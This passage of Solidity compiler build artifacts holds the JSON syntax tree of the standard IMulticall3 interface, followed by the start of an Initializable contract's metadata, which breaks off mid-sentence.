71,"name":"bool","nodeType":"ElementaryTypeName","src":"354:4:19","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":32174,"mutability":"mutable","name":"value","nameLocation":"389:5:19","nodeType":"VariableDeclaration","scope":32177,"src":"381:13:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32173,"name":"uint256","nodeType":"ElementaryTypeName","src":"381:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32176,"mutability":"mutable","name":"callData","nameLocation":"410:8:19","nodeType":"VariableDeclaration","scope":32177,"src":"404:14:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":32175,"name":"bytes","nodeType":"ElementaryTypeName","src":"404:5:19","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"Call3Value","nameLocation":"309:10:19","scope":32316,"visibility":"public"},{"id":32182,"nodeType":"StructDefinition","src":"431:69:19","nodes":[],"canonicalName":"IMulticall3.Result","members":[{"constant":false,"id":32179,"mutability":"mutable","name":"success","nameLocation":"460:7:19","nodeType":"VariableDeclaration","scope":32182,"src":"455:12:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32178,"name":"bool","nodeType":"ElementaryTypeName","src":"455:4:19","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":32181,"mutability":"mutable","name":"returnData","nameLocation":"483:10:19","nodeType":"VariableDeclaration","scope":32182,"src":"477:16:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":32180,"name":"bytes","nodeType":"ElementaryTypeName","src":"477:5:19","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"Result","nameLocation":"438:6:19","scope":32316,"visibility":"public"},{"id":32194,"nodeType":"FunctionDefinition","src":"506:140:19","nodes":[],"functionSelector":"252dba42","implemented":false,"kind":"function","modifiers":[],"name":"aggregate","nameLocation":"515:9:19","parameters":{"id":32187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32186,"mutability":"mutable","name":"calls","nameLocation":"541:5:19","nodeType":"VariableDeclaration","scope":32194,"src":"525:21:19","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_calldata_ptr_$dyn_calldata_ptr","typeString":"struct IMulticall3.Call[]"},"typeName":{"baseType":{"id":32184,"nodeType":"UserDefinedTypeName","pathNode":{"id":32183,"name":"Call","nameLocations":["525:4:19"],"nodeType":"IdentifierPath","referencedDeclaration":32161,"src":"525:4:19"},"referencedDeclaration":32161,"src":"525:4:19","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_storage_ptr","typeString":"struct IMulticall3.Call"}},"id":32185,"nodeType":"ArrayTypeName","src":"525:6:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call[]"}},"visibility":"internal"}],"src":"524:23:19"},"returnParameters":{"id":32193,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32189,"mutability":"mutable","name":"blockNumber","nameLocation":"606:11:19","nodeType":"VariableDeclaration","scope":32194,"src":"598:19:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32188,"name":"uint256","nodeType":"ElementaryTypeName","src":"598:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32192,"mutability":"mutable","name":"returnData","nameLocation":"634:10:19","nodeType":"VariableDeclaration","scope":32194,"src":"619:25:19","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":32190,"name":"bytes","nodeType":"ElementaryTypeName","src":"619:5:19","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":32191,"nodeType":"ArrayTypeName","src":"619:7:19","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"597:48:19"},"scope":32316,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32205,"nodeType":"FunctionDefinition","src":"652:98:19","nodes":[],"functionSelector":"82ad56cb","implemented":false,"kind":"function","modifiers":[],"name":"aggregate3","nameLocation":"661:10:19","parameters":{"id":32199,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32198,"mutability":"mutable","name":"calls","nameLocation":"689:5:19","nodeType":"VariableDeclaration","scope":32205,"src":"672:22:19","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call3_$32168_calldata_ptr_$dyn_calldata_ptr","typeString":"struct IMulticall3.Call3[]"},"typeName":{"baseType":{"id":32196,"nodeType":"UserDefinedTypeName","pathNode":{"id":32195,"name":"Call3","nameLocations":["672:5:19"],"nodeType":"IdentifierPath","referencedDeclaration":32168,"src":"672:5:19"},"referencedDeclaration":32168,"src":"672:5:19","typeDescriptions":{"typeIdentifier":"t_struct$_Call3_$32168_storage_ptr","typeString":"struct IMulticall3.Call3"}},"id":32197,"nodeType":"ArrayTypeName","src":"672:7:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call3_$32168_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call3[]"}},"visibility":"internal"}],"src":"671:24:19"},"returnParameters":{"id":32204,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32203,"mutability":"mutable","name":"returnData","nameLocation":"738:10:19","nodeType":"VariableDeclaration","scope":32205,"src":"722:26:19","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Result[]"},"typeName":{"baseType":{"id":32201,"nodeType":"UserDefinedTypeName","pathNode":{"id":32200,"name":"Result","nameLocations":["722:6:19"],"nodeType":"IdentifierPath","referencedDeclaration":32182,"src":"722:6:19"},"referencedDeclaration":32182,"src":"722:6:19","typeDescriptions":{"typeIdentifier":"t_struct$_Result_$32182_storage_ptr","typeString":"struct IMulticall3.Result"}},"id":32202,"nodeType":"ArrayTypeName","src":"722:8:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Result[]"}},"visibility":"internal"}],"src":"721:28:19"},"scope":32316,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32216,"nodeType":"FunctionDefinition","src":"756:108:19","nodes":[],"functionSelector":"174dea71","implemented":false,"kind":"function","modifiers":[],"name":"aggregate3Value","nameLocation":"765:15:19","parameters":{"id":32210,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32209,"mutability":"mutable","name":"calls","nameLocation":"803:5:19","nodeType":"VariableDeclaration","scope":32216,"src":"781:27:19","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call3Value_$32177_calldata_ptr_$dyn_calldata_ptr","typeString":"struct IMulticall3.Call3Value[]"},"typeName":{"baseType":{"id":32207,"nodeType":"UserDefinedTypeName","pathNode":{"id":32206,"name":"Call3Value","nameLocations":["781:10:19"],"nodeType":"IdentifierPath","referencedDeclaration":32177,"src":"781:10:19"},"referencedDeclaration":32177,"src":"781:10:19","typeDescriptions":{"typeIdentifier":"t_struct$_Call3Value_$32177_storage_ptr","typeString":"struct IMulticall3.Call3Value"}},"id":32208,"nodeType":"ArrayTypeName","src":"781:12:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call3Value_$32177_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call3Value[]"}},"visibility":"internal"}],"src":"780:29:19"},"returnParameters":{"id":32215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32214,"mutability":"mutable","name":"returnData","nameLocation":"852:10:19","nodeType":"VariableDeclaration","scope":32216,"src":"836:26:19","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Result[]"},"typeName":{"baseType":{"id":32212,"nodeType":"UserDefinedTypeName","pathNode":{"id":32211,"name":"Result","nameLocations":["836:6:19"],"nodeType":"IdentifierPath","referencedDeclaration":32182,"src":"836:6:19"},"referencedDeclaration":32182,"src":"836:6:19","typeDescriptions":{"typeIdentifier":"t_struct$_Result_$32182_storage_ptr","typeString":"struct IMulticall3.Result"}},"id":32213,"nodeType":"ArrayTypeName","src":"836:8:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Result[]"}},"visibility":"internal"}],"src":"835:28:19"},"scope":32316,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32231,"nodeType":"FunctionDefinition","src":"870:168:19","nodes":[],"functionSelector":"c3077fa9","implemented":false,"kind":"function","modifiers":[],"name":"blockAndAggregate","nameLocation":"879:17:19","parameters":{"id":32221,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32220,"mutability":"mutable","name":"calls","nameLocation":"913:5:19","nodeType":"VariableDeclaration","scope":32231,"src":"897:21:19","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_calldata_ptr_$dyn_calldata_ptr","typeString":"struct IMulticall3.Call[]"},"typeName":{"baseType":{"id":32218,"nodeType":"UserDefinedTypeName","pathNode":{"id":32217,"name":"Call","nameLocations":["897:4:19"],"nodeType":"IdentifierPath","referencedDeclaration":32161,"src":"897:4:19"},"referencedDeclaration":32161,"src":"897:4:19","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_storage_ptr","typeString":"struct IMulticall3.Call"}},"id":32219,"nodeType":"ArrayTypeName","src":"897:6:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call[]"}},"visibility":"internal"}],"src":"896:23:19"},"returnParameters":{"id":32230,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32223,"mutability":"mutable","name":"blockNumber","nameLocation":"978:11:19","nodeType":"VariableDeclaration","scope":32231,"src":"970:19:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32222,"name":"uint256","nodeType":"ElementaryTypeName","src":"970:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32225,"mutability":"mutable","name":"blockHash","nameLocation":"999:9:19","nodeType":"VariableDeclaration","scope":32231,"src":"991:17:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32224,"name":"bytes32","nodeType":"ElementaryTypeName","src":"991:7:19","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":32229,"mutability":"mutable","name":"returnData","nameLocation":"1026:10:19","nodeType":"VariableDeclaration","scope":32231,"src":"1010:26:19","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Result[]"},"typeName":{"baseType":{"id":32227,"nodeType":"UserDefinedTypeName","pathNode":{"id":32226,"name":"Result","nameLocations":["1010:6:19"],"nodeType":"IdentifierPath","referencedDeclaration":32182,"src":"1010:6:19"},"referencedDeclaration":32182,"src":"1010:6:19","typeDescriptions":{"typeIdentifier":"t_struct$_Result_$32182_storage_ptr","typeString":"struct IMulticall3.Result"}},"id":32228,"nodeType":"ArrayTypeName","src":"1010:8:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Result[]"}},"visibility":"internal"}],"src":"969:68:19"},"scope":32316,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32236,"nodeType":"FunctionDefinition","src":"1044:62:19","nodes":[],"functionSelector":"3e64a696","implemented":false,"kind":"function","modifiers":[],"name":"getBasefee","nameLocation":"1053:10:19","parameters":{"id":32232,"nodeType":"ParameterList","parameters":[],"src":"1063:2:19"},"returnParameters":{"id":32235,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32234,"mutability":"mutable","name":"basefee","nameLocation":"1097:7:19","nodeType":"VariableDeclaration","scope":32236,"src":"1089:15:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32233,"name":"uint256","nodeType":"ElementaryTypeName","src":"1089:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1088:17:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32243,"nodeType":"FunctionDefinition","src":"1112:85:19","nodes":[],"functionSelector":"ee82ac5e","implemented":false,"kind":"function","modifiers":[],"name":"getBlockHash","nameLocation":"1121:12:19","parameters":{"id":32239,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32238,"mutability":"mutable","name":"blockNumber","nameLocation":"1142:11:19","nodeType":"VariableDeclaration","scope":32243,"src":"1134:19:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32237,"name":"uint256","nodeType":"ElementaryTypeName","src":"1134:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1133:21:19"},"returnParameters":{"id":32242,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32241,"mutability":"mutable","name":"blockHash","nameLocation":"1186:9:19","nodeType":"VariableDeclaration","scope":32243,"src":"1178:17:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32240,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1178:7:19","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1177:19:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32248,"nodeType":"FunctionDefinition","src":"1203:70:19","nodes":[],"functionSelector":"42cbb15c","implemented":false,"kind":"function","modifiers":[],"name":"getBlockNumber","nameLocation":"1212:14:19","parameters":{"id":32244,"nodeType":"ParameterList","parameters":[],"src":"1226:2:19"},"returnParameters":{"id":32247,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32246,"mutability":"mutable","name":"blockNumber","nameLocation":"1260:11:19","nodeType":"VariableDeclaration","scope":32248,"src":"1252:19:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32245,"name":"uint256","nodeType":"ElementaryTypeName","src":"1252:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1251:21:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32253,"nodeType":"FunctionDefinition","src":"1279:62:19","nodes":[],"functionSelector":"3408e470","implemented":false,"kind":"function","modifiers":[],"name":"getChainId","nameLocation":"1288:10:19","parameters":{"id":32249,"nodeType":"ParameterList","parameters":[],"src":"1298:2:19"},"returnParameters":{"id":32252,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32251,"mutability":"mutable","name":"chainid","nameLocation":"1332:7:19","nodeType":"VariableDeclaration","scope":32253,"src":"1324:15:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32250,"name":"uint256","nodeType":"ElementaryTypeName","src":"1324:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1323:17:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32258,"nodeType":"FunctionDefinition","src":"1347:76:19","nodes":[],"functionSelector":"a8b0574e","implemented":false,"kind":"function","modifiers":[],"name":"getCurrentBlockCoinbase","nameLocation":"1356:23:19","parameters":{"id":32254,"nodeType":"ParameterList","parameters":[],"src":"1379:2:19"},"returnParameters":{"id":32257,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32256,"mutability":"mutable","name":"coinbase","nameLocation":"1413:8:19","nodeType":"VariableDeclaration","scope":32258,"src":"1405:16:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32255,"name":"address","nodeType":"ElementaryTypeName","src":"1405:7:19","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1404:18:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32263,"nodeType":"FunctionDefinition","src":"1429:80:19","nodes":[],"functionSelector":"72425d9d","implemented":false,"kind":"function","modifiers":[],"name":"getCurrentBlockDifficulty","nameLocation":"1438:25:19","parameters":{"id":32259,"nodeType":"ParameterList","parameters":[],"src":"1463:2:19"},"returnParameters":{"id":32262,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32261,"mutability":"mutable","name":"difficulty","nameLocation":"1497:10:19","nodeType":"VariableDeclaration","scope":32263,"src":"1489:18:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32260,"name":"uint256","nodeType":"ElementaryTypeName","src":"1489:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1488:20:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32268,"nodeType":"FunctionDefinition","src":"1515:76:19","nodes":[],"functionSelector":"86d516e8","implemented":false,"kind":"function","modifiers":[],"name":"getCurrentBlockGasLimit","nameLocation":"1524:23:19","parameters":{"id":32264,"nodeType":"ParameterList","parameters":[],"src":"1547:2:19"},"returnParameters":{"id":32267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32266,"mutability":"mutable","name":"gaslimit","nameLocation":"1581:8:19","nodeType":"VariableDeclaration","scope":32268,"src":"1573:16:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32265,"name":"uint256","nodeType":"ElementaryTypeName","src":"1573:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1572:18:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32273,"nodeType":"FunctionDefinition","src":"1597:78:19","nodes":[],"functionSelector":"0f28c97d","implemented":false,"kind":"function","modifiers":[],"name":"getCurrentBlockTimestamp","nameLocation":"1606:24:19","parameters":{"id":32269,"nodeType":"ParameterList","parameters":[],"src":"1630:2:19"},"returnParameters":{"id":32272,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32271,"mutability":"mutable","name":"timestamp","nameLocation":"1664:9:19","nodeType":"VariableDeclaration","scope":32273,"src":"1656:17:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32270,"name":"uint256","nodeType":"ElementaryTypeName","src":"1656:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1655:19:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32280,"nodeType":"FunctionDefinition","src":"1681:77:19","nodes":[],"functionSelector":"4d2301cc","implemented":false,"kind":"function","modifiers":[],"name":"getEthBalance","nameLocation":"1690:13:19","parameters":{"id":32276,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32275,"mutability":"mutable","name":"addr","nameLocation":"1712:4:19","nodeType":"VariableDeclaration","scope":32280,"src":"1704:12:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32274,"name":"address","nodeType":"ElementaryTypeName","src":"1704:7:19","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1703:14:19"},"returnParameters":{"id":32279,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32278,"mutability":"mutable","name":"balance","nameLocation":"1749:7:19","nodeType":"VariableDeclaration","scope":32280,"src":"1741:15:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32277,"name":"uint256","nodeType":"ElementaryTypeName","src":"1741:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1740:17:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32285,"nodeType":"FunctionDefinition","src":"1764:70:19","nodes":[],"functionSelector":"27e86d6e","implemented":false,"kind":"function","modifiers":[],"name":"getLastBlockHash","nameLocation":"1773:16:19","parameters":{"id":32281,"nodeType":"ParameterList","parameters":[],"src":"1789:2:19"},"returnParameters":{"id":32284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32283,"mutability":"mutable","name":"blockHash","nameLocation":"1823:9:19","nodeType":"VariableDeclaration","scope":32285,"src":"1815:17:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32282,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1815:7:19","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1814:19:19"},"scope":32316,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32298,"nodeType":"FunctionDefinition","src":"1840:144:19","nodes":[],"functionSelector":"bce38bd7","implemented":false,"kind":"function","modifiers":[],"name":"tryAggregate","nameLocation":"1849:12:19","parameters":{"id":32292,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32287,"mutability":"mutable","name":"requireSuccess","nameLocation":"1867:14:19","nodeType":"VariableDeclaration","scope":32298,"src":"1862:19:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32286,"name":"bool","nodeType":"ElementaryTypeName","src":"1862:4:19","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":32291,"mutability":"mutable","name":"calls","nameLocation":"1899:5:19","nodeType":"VariableDeclaration","scope":32298,"src":"1883:21:19","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_calldata_ptr_$dyn_calldata_ptr","typeString":"struct IMulticall3.Call[]"},"typeName":{"baseType":{"id":32289,"nodeType":"UserDefinedTypeName","pathNode":{"id":32288,"name":"Call","nameLocations":["1883:4:19"],"nodeType":"IdentifierPath","referencedDeclaration":32161,"src":"1883:4:19"},"referencedDeclaration":32161,"src":"1883:4:19","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_storage_ptr","typeString":"struct IMulticall3.Call"}},"id":32290,"nodeType":"ArrayTypeName","src":"1883:6:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call[]"}},"visibility":"internal"}],"src":"1861:44:19"},"returnParameters":{"id":32297,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32296,"mutability":"mutable","name":"returnData","nameLocation":"1972:10:19","nodeType":"VariableDeclaration","scope":32298,"src":"1956:26:19","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Result[]"},"typeName":{"baseType":{"id":32294,"nodeType":"UserDefinedTypeName","pathNode":{"id":32293,"name":"Result","nameLocations":["1956:6:19"],"nodeType":"IdentifierPath","referencedDeclaration":32182,"src":"1956:6:19"},"referencedDeclaration":32182,"src":"1956:6:19","typeDescriptions":{"typeIdentifier":"t_struct$_Result_$32182_storage_ptr","typeString":"struct IMulticall3.Result"}},"id":32295,"nodeType":"ArrayTypeName","src":"1956:8:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Result[]"}},"visibility":"internal"}],"src":"1955:28:19"},"scope":32316,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32315,"nodeType":"FunctionDefinition","src":"1990:192:19","nodes":[],"functionSelector":"399542e9","implemented":false,"kind":"function","modifiers":[],"name":"tryBlockAndAggregate","nameLocation":"1999:20:19","parameters":{"id":32305,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32300,"mutability":"mutable","name":"requireSuccess","nameLocation":"2025:14:19","nodeType":"VariableDeclaration","scope":32315,"src":"2020:19:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32299,"name":"bool","nodeType":"ElementaryTypeName","src":"2020:4:19","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":32304,"mutability":"mutable","name":"calls","nameLocation":"2057:5:19","nodeType":"VariableDeclaration","scope":32315,"src":"2041:21:19","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_calldata_ptr_$dyn_calldata_ptr","typeString":"struct IMulticall3.Call[]"},"typeName":{"baseType":{"id":32302,"nodeType":"UserDefinedTypeName","pathNode":{"id":32301,"name":"Call","nameLocations":["2041:4:19"],"nodeType":"IdentifierPath","referencedDeclaration":32161,"src":"2041:4:19"},"referencedDeclaration":32161,"src":"2041:4:19","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_storage_ptr","typeString":"struct IMulticall3.Call"}},"id":32303,"nodeType":"ArrayTypeName","src":"2041:6:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call[]"}},"visibility":"internal"}],"src":"2019:44:19"},"returnParameters":{"id":32314,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32307,"mutability":"mutable","name":"blockNumber","nameLocation":"2122:11:19","nodeType":"VariableDeclaration","scope":32315,"src":"2114:19:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32306,"name":"uint256","nodeType":"ElementaryTypeName","src":"2114:7:19","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32309,"mutability":"mutable","name":"blockHash","nameLocation":"2143:9:19","nodeType":"VariableDeclaration","scope":32315,"src":"2135:17:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32308,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2135:7:19","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":32313,"mutability":"mutable","name":"returnData","nameLocation":"2170:10:19","nodeType":"VariableDeclaration","scope":32315,"src":"2154:26:19","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Result[]"},"typeName":{"baseType":{"id":32311,"nodeType":"UserDefinedTypeName","pathNode":{"id":32310,"name":"Result","nameLocations":["2154:6:19"],"nodeType":"IdentifierPath","referencedDeclaration":32182,"src":"2154:6:19"},"referencedDeclaration":32182,"src":"2154:6:19","typeDescriptions":{"typeIdentifier":"t_struct$_Result_$32182_storage_ptr","typeString":"struct IMulticall3.Result"}},"id":32312,"nodeType":"ArrayTypeName","src":"2154:8:19","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Result_$32182_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Result[]"}},"visibility":"internal"}],"src":"2113:68:19"},"scope":32316,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IMulticall3","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[32316],"name":"IMulticall3","nameLocation":"110:11:19","scope":32317,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":19} \ No newline at end of file diff --git a/contracts/out/Initializable.sol/Initializable.json b/contracts/out/Initializable.sol/Initializable.json new file mode 100644 index 000000000..1aca559d5 --- /dev/null +++ b/contracts/out/Initializable.sol/Initializable.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. TIP: To avoid 